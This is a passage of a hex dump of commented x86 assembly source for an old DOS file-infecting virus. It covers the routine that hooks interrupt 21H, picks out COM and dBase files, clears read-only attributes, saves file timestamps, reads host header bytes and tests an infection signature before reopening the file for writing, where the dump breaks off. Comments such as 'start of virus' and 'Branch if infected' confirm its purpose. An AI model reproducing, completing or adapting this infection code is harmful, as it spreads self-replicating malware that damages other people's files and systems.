|00002fc0| 4f 50 09 45 53 0a 42 50 | 30 34 31 35 3a 09 50 4f |OP.ES.BP|0415:.PO|
|00002fd0| 50 09 42 50 0a 09 50 4f | 50 09 53 49 0a 09 50 4f |P.BP..PO|P.SI..PO|
|00002fe0| 50 46 0a 09 43 41 4c 4c | 09 42 50 30 35 43 33 09 |PF..CALL|.BP05C3.|
|00002ff0| 09 09 3b 20 44 4f 53 20 | 73 65 72 76 69 63 65 0a |..; DOS |service.|
|00003000| 09 4a 42 09 42 50 30 34 | 32 30 09 09 09 3b 20 42 |.JB.BP04|20...; B|
|00003010| 72 61 6e 63 68 20 69 66 | 20 65 72 72 6f 72 0a 09 |ranch if| error..|
|00003020| 43 41 4c 4c 09 42 50 30 | 34 32 33 0a 42 50 30 34 |CALL.BP0|423.BP04|
|00003030| 32 30 3a 09 52 45 54 46 | 09 32 0a 0a 42 50 30 34 |20:.RETF|.2..BP04|
|00003040| 32 33 3a 09 50 55 53 48 | 46 0a 09 50 55 53 48 09 |23:.PUSH|F..PUSH.|
|00003050| 53 49 0a 09 43 41 4c 4c | 09 42 50 30 34 32 38 09 |SI..CALL|.BP0428.|
|00003060| 09 09 3b 20 5c 20 47 65 | 74 20 63 75 72 72 65 6e |..; \ Ge|t curren|
|00003070| 74 20 61 64 64 72 65 73 | 73 0a 42 50 30 34 32 38 |t addres|s.BP0428|
|00003080| 3a 09 50 4f 50 09 53 49 | 09 09 09 3b 20 2f 0a 09 |:.POP.SI|...; /..|
|00003090| 53 55 42 09 53 49 2c 4f | 46 46 53 45 54 20 42 50 |SUB.SI,O|FFSET BP|
|000030a0| 30 34 32 38 2d 44 57 30 | 30 41 45 0a 09 43 4d 50 |0428-DW0|0AE..CMP|
|000030b0| 09 57 4f 52 44 20 50 54 | 52 20 43 53 3a 5b 53 49 |.WORD PT|R CS:[SI|
|000030c0| 5d 2c 31 34 48 0a 09 4a | 45 09 42 50 30 34 34 37 |],14H..J|E.BP0447|
|000030d0| 0a 09 49 4e 43 09 57 4f | 52 44 20 50 54 52 20 43 |..INC.WO|RD PTR C|
|000030e0| 53 3a 5b 53 49 5d 0a 09 | 50 55 53 48 09 42 58 0a |S:[SI]..|PUSH.BX.|
|000030f0| 09 4d 4f 56 09 42 58 2c | 53 49 0a 09 41 44 44 09 |.MOV.BX,|SI..ADD.|
|00003100| 42 58 2c 43 53 3a 5b 53 | 49 5d 0a 09 41 44 44 09 |BX,CS:[S|I]..ADD.|
|00003110| 42 58 2c 43 53 3a 5b 53 | 49 5d 0a 09 4d 4f 56 09 |BX,CS:[S|I]..MOV.|
|00003120| 53 49 2c 42 58 0a 09 50 | 4f 50 09 42 58 0a 09 4d |SI,BX..P|OP.BX..M|
|00003130| 4f 56 09 43 53 3a 5b 53 | 49 5d 2c 41 4c 0a 09 50 |OV.CS:[S|I],AL..P|
|00003140| 4f 50 09 53 49 0a 09 50 | 4f 50 46 0a 42 50 30 34 |OP.SI..P|OPF.BP04|
|00003150| 34 37 3a 09 52 45 54 0a | 0a 42 50 30 34 34 38 3a |47:.RET.|.BP0448:|
|00003160| 09 50 4f 50 09 41 58 0a | 09 50 4f 50 09 42 58 0a |.POP.AX.|.POP.BX.|
|00003170| 09 50 4f 50 09 43 58 0a | 09 50 4f 50 09 44 49 0a |.POP.CX.|.POP.DI.|
|00003180| 09 50 4f 50 09 53 49 0a | 09 50 4f 50 09 44 58 0a |.POP.SI.|.POP.DX.|
|00003190| 09 50 4f 50 09 44 53 0a | 09 50 4f 50 09 45 53 0a |.POP.DS.|.POP.ES.|
|000031a0| 09 4a 4d 50 09 42 50 30 | 34 41 37 0a 0a 09 3b 20 |.JMP.BP0|4A7...; |
|000031b0| 43 6f 6e 76 65 72 74 20 | 70 61 74 68 6e 61 6d 65 |Convert |pathname|
|000031c0| 20 74 6f 20 75 70 70 65 | 72 63 61 73 65 0a 0a 42 | to uppe|rcase..B|
|000031d0| 50 30 34 35 33 3a 09 50 | 55 53 48 09 53 49 0a 09 |P0453:.P|USH.SI..|
|000031e0| 4d 4f 56 09 53 49 2c 44 | 58 09 09 09 3b 20 43 6f |MOV.SI,D|X...; Co|
|000031f0| 70 79 20 70 61 74 68 6e | 61 6d 65 20 70 6f 69 6e |py pathn|ame poin|
|00003200| 74 65 72 0a 42 50 30 34 | 35 36 3a 09 43 4d 50 09 |ter.BP04|56:.CMP.|
|00003210| 42 59 54 45 20 50 54 52 | 20 5b 53 49 5d 2c 30 09 |BYTE PTR| [SI],0.|
|00003220| 09 3b 20 45 6e 64 20 6f | 66 20 70 61 74 68 6e 61 |.; End o|f pathna|
|00003230| 6d 65 3f 0a 09 4a 45 09 | 42 50 30 34 36 36 09 09 |me?..JE.|BP0466..|
|00003240| 09 3b 20 42 72 61 6e 63 | 68 20 69 66 20 79 65 73 |.; Branc|h if yes|
|00003250| 0a 09 43 4d 50 09 42 59 | 54 45 20 50 54 52 20 5b |..CMP.BY|TE PTR [|
|00003260| 53 49 5d 2c 27 61 27 09 | 3b 20 4c 6f 77 65 72 63 |SI],'a'.|; Lowerc|
|00003270| 61 73 65 20 63 68 61 72 | 61 63 74 65 72 3f 0a 09 |ase char|acter?..|
|00003280| 4a 42 09 42 50 30 34 36 | 33 09 09 09 3b 20 42 72 |JB.BP046|3...; Br|
|00003290| 61 6e 63 68 20 69 66 20 | 6e 6f 74 0a 09 53 55 42 |anch if |not..SUB|
|000032a0| 09 42 59 54 45 20 50 54 | 52 20 5b 53 49 5d 2c 27 |.BYTE PT|R [SI],'|
|000032b0| 20 27 09 3b 20 43 6f 6e | 76 65 72 74 20 74 6f 20 | '.; Con|vert to |
|000032c0| 75 70 70 65 72 63 61 73 | 65 0a 42 50 30 34 36 33 |uppercas|e.BP0463|
|000032d0| 3a 09 49 4e 43 09 53 49 | 09 09 09 3b 20 4e 65 78 |:.INC.SI|...; Nex|
|000032e0| 74 20 63 68 61 72 61 63 | 74 65 72 0a 09 4a 4d 50 |t charac|ter..JMP|
|000032f0| 09 42 50 30 34 35 36 09 | 09 09 3b 20 50 72 6f 63 |.BP0456.|..; Proc|
|00003300| 65 73 73 20 6e 65 78 74 | 20 63 68 61 72 61 63 74 |ess next| charact|
|00003310| 65 72 0a 0a 42 50 30 34 | 36 36 3a 09 50 4f 50 09 |er..BP04|66:.POP.|
|00003320| 53 49 0a 09 52 45 54 0a | 0a 09 3b 20 54 65 73 74 |SI..RET.|..; Test|
|00003330| 20 66 6f 72 20 44 62 61 | 73 65 20 66 69 6c 65 0a | for Dba|se file.|
|00003340| 0a 42 50 30 34 36 38 3a | 09 43 41 4c 4c 09 42 50 |.BP0468:|.CALL.BP|
|00003350| 30 34 35 33 09 09 09 3b | 20 43 6f 6e 76 65 72 74 |0453...;| Convert|
|00003360| 20 70 61 74 68 6e 61 6d | 65 20 74 6f 20 75 70 70 | pathnam|e to upp|
|00003370| 65 72 63 61 73 65 0a 09 | 50 55 53 48 09 53 49 0a |ercase..|PUSH.SI.|
|00003380| 42 50 30 34 36 43 3a 09 | 43 4d 50 09 42 59 54 45 |BP046C:.|CMP.BYTE|
|00003390| 20 50 54 52 20 5b 53 49 | 5d 2c 30 09 09 3b 20 45 | PTR [SI|],0..; E|
|000033a0| 6e 64 20 6f 66 20 70 61 | 74 68 6e 61 6d 65 3f 0a |nd of pa|thname?.|
|000033b0| 09 4a 45 09 42 50 30 34 | 38 30 09 09 09 3b 20 42 |.JE.BP04|80...; B|
|000033c0| 72 61 6e 63 68 20 69 66 | 20 79 65 73 0a 09 43 4d |ranch if| yes..CM|
|000033d0| 50 09 42 59 54 45 20 50 | 54 52 20 5b 53 49 5d 2c |P.BYTE P|TR [SI],|
|000033e0| 27 2e 27 09 3b 20 45 78 | 74 65 6e 73 69 6f 6e 20 |'.'.; Ex|tension |
|000033f0| 63 68 61 72 61 63 74 65 | 72 3f 0a 09 4a 45 09 42 |characte|r?..JE.B|
|00003400| 50 30 34 37 39 09 09 09 | 3b 20 42 72 61 6e 63 68 |P0479...|; Branch|
|00003410| 20 69 66 20 79 65 73 0a | 09 49 4e 43 09 53 49 09 | if yes.|.INC.SI.|
|00003420| 09 09 3b 20 4e 65 78 74 | 20 63 68 61 72 61 63 74 |..; Next| charact|
|00003430| 65 72 0a 09 4a 4d 50 09 | 42 50 30 34 36 43 09 09 |er..JMP.|BP046C..|
|00003440| 09 3b 20 50 72 6f 63 65 | 73 73 20 6e 65 78 74 20 |.; Proce|ss next |
|00003450| 63 68 61 72 61 63 74 65 | 72 0a 0a 42 50 30 34 37 |characte|r..BP047|
|00003460| 39 3a 09 49 4e 43 09 53 | 49 09 09 09 3b 20 4e 65 |9:.INC.S|I...; Ne|
|00003470| 78 74 20 63 68 61 72 61 | 63 74 65 72 0a 09 43 4d |xt chara|cter..CM|
|00003480| 50 09 57 4f 52 44 20 50 | 54 52 20 5b 53 49 5d 2c |P.WORD P|TR [SI],|
|00003490| 27 42 44 27 09 3b 20 44 | 61 74 61 62 61 73 65 20 |'BD'.; D|atabase |
|000034a0| 66 69 6c 65 20 28 31 29 | 3f 0a 09 4a 4e 45 09 42 |file (1)|?..JNE.B|
|000034b0| 50 30 34 38 34 09 09 09 | 3b 20 42 72 61 6e 63 68 |P0484...|; Branch|
|000034c0| 20 69 66 20 6e 6f 74 0a | 42 50 30 34 38 30 3a 09 | if not.|BP0480:.|
|000034d0| 43 4d 50 09 42 59 54 45 | 20 50 54 52 20 5b 53 49 |CMP.BYTE| PTR [SI|
|000034e0| 2b 32 5d 2c 27 46 27 09 | 3b 20 44 61 74 61 62 61 |+2],'F'.|; Databa|
|000034f0| 73 65 20 66 69 6c 65 20 | 28 32 29 3f 0a 42 50 30 |se file |(2)?.BP0|
|00003500| 34 38 34 3a 09 50 4f 50 | 09 53 49 0a 09 52 45 54 |484:.POP|.SI..RET|
|00003510| 0a 0a 44 42 30 34 38 36 | 09 44 42 09 30 43 44 48 |..DB0486|.DB.0CDH|
|00003520| 2c 20 32 30 48 2c 20 39 | 30 48 2c 20 39 30 48 09 |, 20H, 9|0H, 90H.|
|00003530| 3b 20 53 74 61 72 74 20 | 6f 66 20 68 6f 73 74 20 |; Start |of host |
|00003540| 72 65 61 64 20 62 75 66 | 66 65 72 0a 44 42 30 34 |read buf|fer.DB04|
|00003550| 38 41 09 44 42 09 30 2c | 20 30 09 09 09 3b 20 53 |8A.DB.0,| 0...; S|
|00003560| 69 67 6e 61 74 75 72 65 | 20 72 65 61 64 20 62 75 |ignature| read bu|
|00003570| 66 66 65 72 0a 44 42 30 | 34 38 43 09 44 42 09 30 |ffer.DB0|48C.DB.0|
|00003580| 45 39 48 2c 20 30 2c 20 | 30 09 09 3b 20 49 6e 69 |E9H, 0, |0..; Ini|
|00003590| 74 69 61 6c 20 6a 75 6d | 70 20 69 6e 73 74 72 75 |tial jum|p instru|
|000035a0| 63 74 69 6f 6e 0a 09 44 | 42 09 30 0a 0a 09 3b 20 |ction..D|B.0...; |
|000035b0| 4c 6f 61 64 20 61 6e 64 | 20 65 78 65 63 75 74 65 |Load and| execute|
|000035c0| 20 66 75 6e 63 74 69 6f | 6e 0a 0a 42 50 30 34 39 | functio|n..BP049|
|000035d0| 30 3a 09 50 55 53 48 09 | 42 50 0a 09 50 55 53 48 |0:.PUSH.|BP..PUSH|
|000035e0| 09 53 49 0a 09 4d 4f 56 | 09 53 49 2c 44 58 09 09 |.SI..MOV|.SI,DX..|
|000035f0| 09 3b 20 43 6f 70 79 20 | 70 61 74 68 6e 61 6d 65 |.; Copy |pathname|
|00003600| 20 70 6f 69 6e 74 65 72 | 0a 42 50 30 34 39 34 3a | pointer|.BP0494:|
|00003610| 09 43 4d 50 09 42 59 54 | 45 20 50 54 52 20 5b 53 |.CMP.BYT|E PTR [S|
|00003620| 49 5d 2c 30 09 09 3b 20 | 45 6e 64 20 6f 66 20 70 |I],0..; |End of p|
|00003630| 61 74 68 6e 61 6d 65 3f | 0a 09 4a 45 09 42 50 30 |athname?|..JE.BP0|
|00003640| 34 41 37 09 09 09 3b 20 | 42 72 61 6e 63 68 20 69 |4A7...; |Branch i|
|00003650| 66 20 79 65 73 0a 09 43 | 4d 50 09 42 59 54 45 20 |f yes..C|MP.BYTE |
|00003660| 50 54 52 20 5b 53 49 5d | 2c 27 2e 27 09 3b 20 45 |PTR [SI]|,'.'.; E|
|00003670| 78 74 65 6e 73 69 6f 6e | 20 69 6e 64 69 63 61 74 |xtension| indicat|
|00003680| 6f 72 3f 0a 09 4a 45 09 | 42 50 30 34 41 43 09 09 |or?..JE.|BP04AC..|
|00003690| 09 3b 20 42 72 61 6e 63 | 68 20 69 66 20 79 65 73 |.; Branc|h if yes|
|000036a0| 0a 09 49 4e 43 09 53 49 | 09 09 09 3b 20 4e 65 78 |..INC.SI|...; Nex|
|000036b0| 74 20 63 68 61 72 61 63 | 74 65 72 0a 09 4a 4d 50 |t charac|ter..JMP|
|000036c0| 09 42 50 30 34 39 34 09 | 09 09 3b 20 50 72 6f 63 |.BP0494.|..; Proc|
|000036d0| 65 73 73 20 6e 65 78 74 | 20 63 68 61 72 61 63 74 |ess next| charact|
|000036e0| 65 72 0a 0a 42 50 30 34 | 41 31 3a 09 50 4f 50 09 |er..BP04|A1:.POP.|
|000036f0| 44 53 0a 09 50 4f 50 09 | 44 58 0a 09 50 4f 50 09 |DS..POP.|DX..POP.|
|00003700| 44 49 0a 09 50 4f 50 09 | 43 58 0a 09 50 4f 50 09 |DI..POP.|CX..POP.|
|00003710| 42 58 0a 09 50 4f 50 09 | 41 58 0a 42 50 30 34 41 |BX..POP.|AX.BP04A|
|00003720| 37 3a 09 50 4f 50 09 42 | 50 0a 09 50 4f 50 09 53 |7:.POP.B|P..POP.S|
|00003730| 49 0a 09 4a 4d 50 09 42 | 50 30 30 34 34 09 09 09 |I..JMP.B|P0044...|
|00003740| 3b 20 50 61 73 73 20 6f | 6e 20 74 6f 20 49 6e 74 |; Pass o|n to Int|
|00003750| 20 32 31 48 0a 0a 42 50 | 30 34 41 43 3a 09 49 4e | 21H..BP|04AC:.IN|
|00003760| 43 09 53 49 09 09 09 3b | 20 4e 65 78 74 20 63 68 |C.SI...;| Next ch|
|00003770| 61 72 61 63 74 65 72 0a | 09 43 4d 50 09 57 4f 52 |aracter.|.CMP.WOR|
|00003780| 44 20 50 54 52 20 5b 53 | 49 5d 2c 27 4f 43 27 09 |D PTR [S|I],'OC'.|
|00003790| 3b 20 49 73 20 69 74 20 | 61 20 43 4f 4d 20 66 69 |; Is it |a COM fi|
|000037a0| 6c 65 3f 20 28 31 29 0a | 09 4a 4e 45 09 42 50 30 |le? (1).|.JNE.BP0|
|000037b0| 34 41 37 09 09 09 3b 20 | 42 72 61 6e 63 68 20 69 |4A7...; |Branch i|
|000037c0| 66 20 6e 6f 74 0a 09 43 | 4d 50 09 42 59 54 45 20 |f not..C|MP.BYTE |
|000037d0| 50 54 52 20 5b 53 49 2b | 32 5d 2c 27 4d 27 09 3b |PTR [SI+|2],'M'.;|
|000037e0| 20 49 73 20 69 74 20 61 | 20 43 4f 4d 20 66 69 6c | Is it a| COM fil|
|000037f0| 65 3f 20 28 31 29 0a 09 | 4a 4e 45 09 42 50 30 34 |e? (1)..|JNE.BP04|
|00003800| 41 37 09 09 09 3b 20 42 | 72 61 6e 63 68 20 69 66 |A7...; B|ranch if|
|00003810| 20 6e 6f 74 0a 09 50 55 | 53 48 09 41 58 0a 09 50 | not..PU|SH.AX..P|
|00003820| 55 53 48 09 42 58 0a 09 | 50 55 53 48 09 43 58 0a |USH.BX..|PUSH.CX.|
|00003830| 09 50 55 53 48 09 44 49 | 0a 09 50 55 53 48 09 44 |.PUSH.DI|..PUSH.D|
|00003840| 58 0a 09 50 55 53 48 09 | 44 53 0a 09 50 55 53 48 |X..PUSH.|DS..PUSH|
|00003850| 09 53 49 0a 09 50 55 53 | 48 09 43 58 0a 09 4d 4f |.SI..PUS|H.CX..MO|
|00003860| 56 09 41 58 2c 34 33 30 | 30 48 09 09 3b 20 47 65 |V.AX,430|0H..; Ge|
|00003870| 74 20 66 69 6c 65 20 61 | 74 74 72 69 62 75 74 65 |t file a|ttribute|
|00003880| 73 20 66 75 6e 63 74 69 | 6f 6e 0a 09 49 4e 54 09 |s functi|on..INT.|
|00003890| 32 31 48 09 09 09 3b 20 | 44 4f 53 20 73 65 72 76 |21H...; |DOS serv|
|000038a0| 69 63 65 0a 09 43 41 4c | 4c 09 42 50 30 34 43 39 |ice..CAL|L.BP04C9|
|000038b0| 09 09 09 3b 20 5c 20 47 | 65 74 20 63 75 72 72 65 |...; \ G|et curre|
|000038c0| 6e 74 20 61 64 64 72 65 | 73 73 0a 42 50 30 34 43 |nt addre|ss.BP04C|
|000038d0| 39 3a 09 50 4f 50 09 53 | 49 09 09 09 3b 20 2f 0a |9:.POP.S|I...; /.|
|000038e0| 09 53 55 42 09 53 49 2c | 4f 46 46 53 45 54 20 42 |.SUB.SI,|OFFSET B|
|000038f0| 50 30 34 43 39 2d 44 57 | 30 33 38 42 09 3b 20 41 |P04C9-DW|038B.; A|
|00003900| 64 64 72 65 73 73 20 66 | 69 6c 65 20 61 74 74 72 |ddress f|ile attr|
|00003910| 69 62 75 74 65 73 0a 09 | 4d 4f 56 09 43 53 3a 5b |ibutes..|MOV.CS:[|
|00003920| 53 49 5d 2c 43 58 09 09 | 3b 20 53 61 76 65 20 66 |SI],CX..|; Save f|
|00003930| 69 6c 65 20 61 74 74 72 | 69 62 75 74 65 73 0a 09 |ile attr|ibutes..|
|00003940| 4d 4f 56 09 43 53 3a 5b | 53 49 2b 32 5d 2c 44 53 |MOV.CS:[|SI+2],DS|
|00003950| 09 09 3b 20 53 61 76 65 | 20 70 61 74 68 6e 61 6d |..; Save| pathnam|
|00003960| 65 20 73 65 67 6d 65 6e | 74 0a 09 4d 4f 56 09 43 |e segmen|t..MOV.C|
|00003970| 53 3a 5b 53 49 2b 34 5d | 2c 44 58 09 09 3b 20 53 |S:[SI+4]|,DX..; S|
|00003980| 61 76 65 20 70 61 74 68 | 6e 61 6d 65 20 6f 66 66 |ave path|name off|
|00003990| 73 65 74 0a 09 41 4e 44 | 09 43 58 2c 30 30 46 45 |set..AND|.CX,00FE|
|000039a0| 48 09 09 3b 20 53 77 69 | 74 63 68 20 6f 66 66 20 |H..; Swi|tch off |
|000039b0| 72 65 61 64 20 6f 6e 6c | 79 0a 09 4d 4f 56 09 41 |read onl|y..MOV.A|
|000039c0| 58 2c 34 33 30 31 48 09 | 09 3b 20 53 65 74 20 66 |X,4301H.|.; Set f|
|000039d0| 69 6c 65 20 61 74 74 72 | 69 62 75 74 65 73 20 66 |ile attr|ibutes f|
|000039e0| 75 6e 63 74 69 6f 6e 0a | 09 49 4e 54 09 32 31 48 |unction.|.INT.21H|
|000039f0| 09 09 09 3b 20 44 4f 53 | 20 73 65 72 76 69 63 65 |...; DOS| service|
|00003a00| 0a 09 50 4f 50 09 43 58 | 0a 09 50 4f 50 09 53 49 |..POP.CX|..POP.SI|
|00003a10| 0a 09 4d 4f 56 09 41 58 | 2c 33 44 30 30 48 09 09 |..MOV.AX|,3D00H..|
|00003a20| 3b 20 4f 70 65 6e 20 68 | 61 6e 64 6c 65 20 28 72 |; Open h|andle (r|
|00003a30| 65 61 64 29 20 66 75 6e | 63 74 69 6f 6e 0a 09 49 |ead) fun|ction..I|
|00003a40| 4e 54 09 32 31 48 09 09 | 09 3b 20 44 4f 53 20 73 |NT.21H..|.; DOS s|
|00003a50| 65 72 76 69 63 65 0a 09 | 4a 42 09 42 50 30 34 41 |ervice..|JB.BP04A|
|00003a60| 31 09 09 09 3b 20 42 72 | 61 6e 63 68 20 69 66 20 |1...; Br|anch if |
|00003a70| 65 72 72 6f 72 0a 09 4d | 4f 56 09 42 58 2c 41 58 |error..M|OV.BX,AX|
|00003a80| 09 09 09 3b 20 4d 6f 76 | 65 20 68 61 6e 64 6c 65 |...; Mov|e handle|
|00003a90| 0a 09 4d 4f 56 09 41 58 | 2c 35 37 30 30 48 09 09 |..MOV.AX|,5700H..|
|00003aa0| 3b 20 47 65 74 20 66 69 | 6c 65 20 64 61 74 65 20 |; Get fi|le date |
|00003ab0| 26 20 74 69 6d 65 20 66 | 75 6e 63 74 69 6f 6e 0a |& time f|unction.|
|00003ac0| 09 49 4e 54 09 32 31 48 | 09 09 09 3b 20 44 4f 53 |.INT.21H|...; DOS|
|00003ad0| 20 73 65 72 76 69 63 65 | 0a 09 50 55 53 48 09 53 | service|..PUSH.S|
|00003ae0| 49 0a 09 43 41 4c 4c 09 | 42 50 30 34 46 36 09 09 |I..CALL.|BP04F6..|
|00003af0| 09 3b 20 5c 20 47 65 74 | 20 63 75 72 72 65 6e 74 |.; \ Get| current|
|00003b00| 20 61 64 64 72 65 73 73 | 0a 42 50 30 34 46 36 3a | address|.BP04F6:|
|00003b10| 09 50 4f 50 09 53 49 09 | 09 09 3b 20 2f 0a 09 53 |.POP.SI.|..; /..S|
|00003b20| 55 42 09 53 49 2c 4f 46 | 46 53 45 54 20 42 50 30 |UB.SI,OF|FSET BP0|
|00003b30| 34 46 36 2d 44 57 30 33 | 38 37 09 3b 20 41 64 64 |4F6-DW03|87.; Add|
|00003b40| 72 65 73 73 20 66 69 6c | 65 20 64 61 74 65 0a 09 |ress fil|e date..|
|00003b50| 4d 4f 56 09 43 53 3a 5b | 53 49 5d 2c 44 58 09 09 |MOV.CS:[|SI],DX..|
|00003b60| 3b 20 53 61 76 65 20 66 | 69 6c 65 20 64 61 74 65 |; Save f|ile date|
|00003b70| 0a 09 4d 4f 56 09 43 53 | 3a 5b 53 49 2b 32 5d 2c |..MOV.CS|:[SI+2],|
|00003b80| 43 58 09 09 3b 20 53 61 | 76 65 20 66 69 6c 65 20 |CX..; Sa|ve file |
|00003b90| 74 69 6d 65 0a 09 50 4f | 50 09 53 49 0a 09 4d 4f |time..PO|P.SI..MO|
|00003ba0| 56 09 41 48 2c 33 46 48 | 09 09 09 3b 20 52 65 61 |V.AH,3FH|...; Rea|
|00003bb0| 64 20 68 61 6e 64 6c 65 | 20 66 75 6e 63 74 69 6f |d handle| functio|
|00003bc0| 6e 0a 09 4d 4f 56 09 43 | 58 2c 34 09 09 09 3b 20 |n..MOV.C|X,4...; |
|00003bd0| 4c 65 6e 67 74 68 20 74 | 6f 20 72 65 61 64 0a 09 |Length t|o read..|
|00003be0| 43 41 4c 4c 09 42 50 30 | 35 30 42 09 09 09 3b 20 |CALL.BP0|50B...; |
|00003bf0| 5c 20 47 65 74 20 63 75 | 72 72 65 6e 74 20 61 64 |\ Get cu|rrent ad|
|00003c00| 64 72 65 73 73 0a 42 50 | 30 35 30 42 3a 09 50 4f |dress.BP|050B:.PO|
|00003c10| 50 09 53 49 09 09 09 3b | 20 2f 0a 09 53 55 42 09 |P.SI...;| /..SUB.|
|00003c20| 53 49 2c 4f 46 46 53 45 | 54 20 42 50 30 35 30 42 |SI,OFFSE|T BP050B|
|00003c30| 09 3b 20 4f 66 66 73 65 | 74 20 6f 66 20 73 74 61 |.; Offse|t of sta|
|00003c40| 72 74 20 6f 66 20 76 69 | 72 75 73 0a 09 4d 4f 56 |rt of vi|rus..MOV|
|00003c50| 09 44 58 2c 53 49 09 09 | 09 3b 20 5c 20 41 64 64 |.DX,SI..|.; \ Add|
|00003c60| 72 65 73 73 20 73 74 61 | 72 74 20 6f 66 20 68 6f |ress sta|rt of ho|
|00003c70| 73 74 20 72 65 61 64 20 | 62 75 66 66 65 72 0a 09 |st read |buffer..|
|00003c80| 41 44 44 09 44 58 2c 4f | 46 46 53 45 54 20 44 42 |ADD.DX,O|FFSET DB|
|00003c90| 30 34 38 36 09 3b 20 2f | 0a 09 50 55 53 48 09 43 |0486.; /|..PUSH.C|
|00003ca0| 53 09 09 09 3b 20 5c 20 | 53 65 74 20 44 53 20 74 |S...; \ |Set DS t|
|00003cb0| 6f 20 43 53 0a 09 50 4f | 50 09 44 53 09 09 09 3b |o CS..PO|P.DS...;|
|00003cc0| 20 2f 0a 09 49 4e 54 09 | 32 31 48 09 09 09 3b 20 | /..INT.|21H...; |
|00003cd0| 44 4f 53 20 73 65 72 76 | 69 63 65 0a 09 4a 42 09 |DOS serv|ice..JB.|
|00003ce0| 42 50 30 35 38 41 09 09 | 09 3b 20 42 72 61 6e 63 |BP058A..|.; Branc|
|00003cf0| 68 20 69 66 20 65 72 72 | 6f 72 0a 09 50 55 53 48 |h if err|or..PUSH|
|00003d00| 09 44 58 0a 09 50 55 53 | 48 09 53 49 0a 09 4d 4f |.DX..PUS|H.SI..MO|
|00003d10| 56 09 53 49 2c 44 58 09 | 09 09 3b 20 41 64 64 72 |V.SI,DX.|..; Addr|
|00003d20| 65 73 73 20 73 74 61 72 | 74 20 6f 66 20 68 6f 73 |ess star|t of hos|
|00003d30| 74 20 72 65 61 64 20 62 | 75 66 66 65 72 0a 09 4d |t read b|uffer..M|
|00003d40| 4f 56 09 44 58 2c 5b 53 | 49 2b 31 5d 09 09 3b 20 |OV.DX,[S|I+1]..; |
|00003d50| 47 65 74 20 62 72 61 6e | 63 68 20 6f 66 66 73 65 |Get bran|ch offse|
|00003d60| 74 20 28 69 66 20 69 74 | 73 20 61 20 62 72 61 6e |t (if it|s a bran|
|00003d70| 63 68 3f 29 0a 09 49 4e | 43 09 44 58 09 09 09 3b |ch?)..IN|C.DX...;|
|00003d80| 20 5c 20 41 64 64 72 65 | 73 73 20 74 6f 20 73 69 | \ Addre|ss to si|
|00003d90| 67 6e 61 74 75 72 65 20 | 28 44 42 30 36 33 30 29 |gnature |(DB0630)|
|00003da0| 0a 09 58 4f 52 09 43 58 | 2c 43 58 09 09 09 3b 20 |..XOR.CX|,CX...; |
|00003db0| 2f 0a 09 4d 4f 56 09 41 | 58 2c 34 32 30 30 48 09 |/..MOV.A|X,4200H.|
|00003dc0| 09 3b 20 4d 6f 76 65 20 | 66 69 6c 65 20 70 6f 69 |.; Move |file poi|
|00003dd0| 6e 74 65 72 20 28 73 74 | 61 72 74 29 20 66 75 6e |nter (st|art) fun|
|00003de0| 63 74 69 6f 6e 0a 09 49 | 4e 54 09 32 31 48 09 09 |ction..I|NT.21H..|
|00003df0| 09 3b 20 44 4f 53 20 73 | 65 72 76 69 63 65 0a 09 |.; DOS s|ervice..|
|00003e00| 50 4f 50 09 53 49 0a 09 | 50 4f 50 09 44 58 0a 09 |POP.SI..|POP.DX..|
|00003e10| 4a 42 09 42 50 30 35 38 | 41 09 09 09 3b 20 42 72 |JB.BP058|A...; Br|
|00003e20| 61 6e 63 68 20 69 66 20 | 65 72 72 6f 72 0a 09 4d |anch if |error..M|
|00003e30| 4f 56 09 41 48 2c 33 46 | 48 09 09 09 3b 20 52 65 |OV.AH,3F|H...; Re|
|00003e40| 61 64 20 68 61 6e 64 6c | 65 20 66 75 6e 63 74 69 |ad handl|e functi|
|00003e50| 6f 6e 0a 09 4d 4f 56 09 | 43 58 2c 32 09 09 09 3b |on..MOV.|CX,2...;|
|00003e60| 20 4c 65 6e 67 74 68 20 | 74 6f 20 72 65 61 64 0a | Length |to read.|
|00003e70| 09 41 44 44 09 44 58 2c | 34 09 09 09 3b 20 41 64 |.ADD.DX,|4...; Ad|
|00003e80| 64 72 65 73 73 20 74 6f | 20 73 69 67 6e 61 74 75 |dress to| signatu|
|00003e90| 72 65 20 72 65 61 64 20 | 62 75 66 66 65 72 0a 09 |re read |buffer..|
|00003ea0| 49 4e 54 09 32 31 48 09 | 09 09 3b 20 44 4f 53 20 |INT.21H.|..; DOS |
|00003eb0| 73 65 72 76 69 63 65 0a | 09 50 55 53 48 09 53 49 |service.|.PUSH.SI|
|00003ec0| 0a 09 4d 4f 56 09 53 49 | 2c 44 58 09 09 09 3b 20 |..MOV.SI|,DX...; |
|00003ed0| 5c 20 43 6f 70 79 20 73 | 69 67 6e 61 74 75 72 65 |\ Copy s|ignature|
|00003ee0| 20 72 65 61 64 20 62 75 | 66 66 65 72 20 61 64 64 | read bu|ffer add|
|00003ef0| 72 65 73 73 0a 09 4d 4f | 56 09 44 49 2c 53 49 09 |ress..MO|V.DI,SI.|
|00003f00| 09 09 3b 20 2f 0a 09 43 | 4d 50 09 57 4f 52 44 20 |..; /..C|MP.WORD |
|00003f10| 50 54 52 20 5b 53 49 5d | 2c 30 45 35 45 35 48 09 |PTR [SI]|,0E5E5H.|
|00003f20| 3b 20 54 65 73 74 20 73 | 69 67 6e 61 74 75 72 65 |; Test s|ignature|
|00003f30| 0a 09 50 4f 50 09 53 49 | 0a 09 4a 45 09 42 50 30 |..POP.SI|..JE.BP0|
|00003f40| 35 38 41 09 09 09 3b 20 | 42 72 61 6e 63 68 20 69 |58A...; |Branch i|
|00003f50| 66 20 69 6e 66 65 63 74 | 65 64 0a 09 4d 4f 56 09 |f infect|ed..MOV.|
|00003f60| 41 48 2c 33 45 48 09 09 | 09 3b 20 43 6c 6f 73 65 |AH,3EH..|.; Close|
|00003f70| 20 68 61 6e 64 6c 65 20 | 66 75 6e 63 74 69 6f 6e | handle |function|
|00003f80| 0a 09 49 4e 54 09 32 31 | 48 09 09 09 3b 20 44 4f |..INT.21|H...; DO|
|00003f90| 53 20 73 65 72 76 69 63 | 65 0a 09 50 4f 50 09 44 |S servic|e..POP.D|
|00003fa0| 53 0a 09 50 4f 50 09 44 | 58 0a 09 50 55 53 48 09 |S..POP.D|X..PUSH.|
|00003fb0| 44 58 0a 09 50 55 53 48 | 09 44 53 0a 09 4d 4f 56 |DX..PUSH|.DS..MOV|
|00003fc0| 09 41 58 2c 33 44 30 32 | 48 09 09 3b 20 4f 70 65 |.AX,3D02|H..; Ope|
